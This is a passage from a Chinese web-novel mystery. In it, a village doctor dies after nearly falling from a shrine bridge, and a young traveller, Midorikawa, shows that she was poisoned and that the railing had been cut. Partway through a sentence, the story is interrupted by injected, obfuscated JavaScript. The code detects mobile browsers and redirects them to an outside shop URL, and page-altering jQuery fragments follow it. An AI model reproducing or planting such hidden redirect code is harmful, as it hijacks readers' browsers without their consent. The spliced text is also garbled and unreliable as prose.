不知何时出现在石桥上的绿川枫奋力一把抓住了下坠的小山田绫子。


    伴随着几声尖叫惊呼，小山田医生被警察佐伯恒一和其他村民七手八脚地努力拉回了山顶。


    然而这位可敬又不幸的女士，只来得及发出几声无意义的吸气和咳嗽，就迅速失去了所有声气。围在旁边的佐伯警官探试了她的脉搏与鼻息后，缓慢地摇了摇头。


    身后的神殿里忽然传出了一声尖利的呐喊：“她死了！这是御食海门司命的惩罚！”


    是状若疯癫的潮骨真澄，她还带着刚刚葬礼时的涕泪，此刻却瞪大了眼睛用力挥舞着自己的手臂：“她之前还妄图解剖海斗的腿！这是对神明的大不敬，我儿是去御食海门司命大人座下侍奉，享永恒之魂灵——她还妄想用肮脏的刀刃和药剂污染他，果然受到了神罚——”


    正在努力安抚着躁动村民的触海村村长潮骨真潮立刻转过身来，按住了自己精神受到刺激的姐妹，同时示意看起来手足无措的巫女蛸守澪奈小姐赶紧把人带回房间里去。


    “抱歉，从发现海斗的腿以后，真澄她就有点精神失常了，时不时会念叨一些疯话，只能用御食海门司命的传说安抚她，让她能稍微找一点心理寄托。”真潮村长深深吸了一口气，打起精神来主持局势，“佐伯警官，小山田女士是什么情况，要叫救护车吗？”


    佐伯恒一摇了摇头：“她已经去世了……刚刚最后一个和她聊天的是我，看起来症状有些像急性心脏病发作。


    “仪式结束以后她找我说有事的时候，看起来就有些脸色不好，神情恍惚，我本来以为是小山田医生这两天因为各种事情太过劳累的缘故。但她很快就有些头晕，走路也摇摇晃晃。


    “再然后小山田在走上桥时下意识扶住了右边的栏杆，没想到栏杆老化断裂，她一下子掉了下去……幸好有绿川先生反应及时，才能把她拉了上来。”


    佐伯恒一低着头，神色间似乎是因为自己作为职业警察，在面对这等突发危机时的反应能力还没有旁边的热心市民好而感到羞愧不已。


    正在被暗暗敬佩的绿川枫并没有回应他的话。


    刚刚身姿矫健的青年此刻已经单膝跪在已经被平放在地上的小山田绫子身侧，用自己随身携带的手电筒来回照了照：


    “小山田女士的嘴唇和手指甲看起来颜色乌青，颈侧和手腕内侧的血管也有些凸出……比起突发疾病，更像是中毒的症状。不过我在她身体的裸露部分没有发现明显伤口。她刚刚有吃了什么东西吗？”


    佐伯恒一似乎没有意识到自己身为警察却被普通群众询问的怪异之处，反而十分自然地接受了现状，顺理成章地回答起来：


    “刚刚晚饭的时候小山田医生是和我们几个在学校餐厅一起吃的杂鱼汤乌冬面，都是同一锅煮出来盛好的，所有人随机取餐的，你也在。吃完晚饭以后大家也都很正常。


    “饭后我先在村里惯例巡视一圈后就上山来协助仪式，小山田自己说要回办公室一趟晚点到，这段时间不确定她还有没有吃什么……


    “最后就是刚刚仪式前的净化活动，用神社里的圣泉水洗手并饮用——但这一步大家都是自己动手从同一口井里取水，倘若在圣水里有毒，其他人也应该或多或少会有反应吧？”


    看起来这条线索到此也中断了，众人只得先把尸体带走安置。


    然而绿川枫依然停留在出事的石桥边，仔细检查着。


    看起来现在接受了世界命运的指派，担任推理役的，就是这位前猎人现旅游公司职员了，汐見潮默默想到。


    他的检查自然不是白费的，在再三研究了断裂的栏杆后，青年人确信地提出了指控：“佐伯警官，我建议你还是尽快上报乡镇警署，让他们来调查此事吧。恐怕小山田绫子女士的死不是意外，而是有人刻意为之。”


    绿川让开身体，示意众人查看石桥表面留下的断裂栏杆的残骸：“栏杆不是因为老化而断裂的，而是人为切割过的。”


    汐見潮能看出，那柱子只有一角能看到木材撕裂时尖锐的纤维，其余部分的裂口近乎平整。看起来是有人将栏杆割断大半，只留下局部作为固定，这样任何人稍稍用力都能将其折断。


    真潮村长忍不住发问道：“可是，栏杆断裂和小山田绫子女士的中毒死亡有什么必然联系吗？她意外撞断栏杆差点掉下去也可能只是偶发事件吧？”


    面对众人质疑的眼神，绿川枫倒是不慌不忙，十分镇定地解释：“不，这两件事一定是有联系的。毕竟在触海村，没有比坠崖落海更好的毁尸灭迹方法了。


    “想象一下，如果刚刚小山田绫子女士没有被及时拉回来，而是就那样掉进海里的话，按照此时的洋流，大概等我们下山去找时也会像海斗君一样不见踪影吧。


    在那种情况下，所有人就都会认为小山田绫子是意外坠海而死，从而掩盖了她被下毒的事实。更何况，小山田绫子自己在众目睽睽之下因为老化的扶手断裂坠崖，看起来不是更像是一场意外的悲剧，又或者像某些人认为的那样——是神罚吗？”


    绿川说到最后，声音愈发冷厉，在空旷的深夜里甚至隐隐有回声。


    刚刚安顿好自己祖父蛸守網兵卫祭祀和神志恍惚的潮骨真澄，才走出房间的巫女蛸守澪奈听到“神罚”二字时猛然一顿，下意识地反驳：“绿川先生，请您慎言。”


    一旁的潮骨湊人也下意识追问：“如果坠崖就能天衣无缝，凶手就直接让她摔死就好了，为什么还要下毒呢？”


    绿川继续游刃有余地应对着各种问题，此刻他比起一旁张着嘴说不出话的佐伯恒一看起来更像靠谱的警探了：“我想，下毒能让小山田女士看起来像是自己推倒栏杆掉下悬崖的。


    “我刚刚注意到，或许是因为经常来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408168|200061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    参加各种祭祀活动，其他村里人已经很熟悉这里的地形，没有人去扶或者倚靠栏杆。这大概也是做出这一系列事情的人敢于用这手法的倚仗。


    而小山田绫子此时因为毒药开始慢慢起作用而感到眩晕，走路重心不稳，下意识就会去扶把手。这才让这场‘意外’事件看起来顺理成章。”


    “如果你说的一切都是事实，那凶手为什么要这么费尽心思地杀死一位对触海村如此重要的医生和老师？毒到底又是怎么被下到她身上的？凶手到底是谁？我们触海村这么多年来平静祥和，怎么会有杀人案件？！”真潮村长说到后面也情绪激动起来，比起对真相的探究更近似于诘问。


    绿川枫站起身来，对着“虎视眈眈”的围观者们耸了耸肩膀：“那只能等镇警署派来的大人们为你解答了。我既不是警察，也不是侦探，只是个思维方式比较正常的普通过路人罢了。”


    他摊了摊手，蓝色的猫眼里终于露出了几分属于青年人的活泼神气，继续说道：“不过既然佐伯警官是在小山田绫子还活着的时候最后一个接触她的人，为了保险起见，最好还是同样以案件相关人员的身份对待，等专业人士来了再行处理吧。”


    这话倒是没人反驳。


    倘若真是有人故意杀人，他们也更情愿相信是佐伯恒一这个外姓人干的，而不是触海村本村村民犯下这样的罪行。


    于是在几个小时后，本应两天前就出现在这里的镇警署刑侦科和鉴证科人员终于姗姗来迟。


    专业人士们迅速收拢了尸体，并在蛸守家的反对声中封锁了作为现场的神社。


    而在村中自觉有些处境尴尬的汐見潮和小野娜娜只能默默降低存在感，低调行事，不好意思再到处闲逛玩耍了。


    只是，当又一次准备前往空空荡荡的学校餐厅——老师已经去世，孩子们继续放假，而另一位常驻食客正在被问询中——进行自炊准备时，汐見潮透过未合拢的窗帘缝隙看到，有人正在小山田女士的办公室里，似乎在翻找着什么。


    是绿川先生。


    她还没来得及出声，对方就已经很敏锐地察觉到有人的视线。但他丝毫没有一丝一毫自己做“坏事”被发现后的慌乱或愧疚，而是神态自若地走过来一把拉开了房门：“日安，汐見小姐。”


    他对汐見潮打招呼时甚至弯了弯漂亮的蓝色猫眼。


    “……绿川先生？你在这里干什么？”


    “虽然我不是专业人士，但也希望触海村的这些事能快点解决，让我能早点回总部交差啊。”他假模假样地叹了口气，“毕竟我的调查工作报告也很难写的，当然希望尽可能多一些素材了。”


    他挥挥手里的东西，“看起来小山田女士也在这里也做了很多工作，说不定有什么值得参考的内容呢。”


    那是一本黑色皮质封面的笔记本，看纸张的痕迹似乎已经很有些年头了。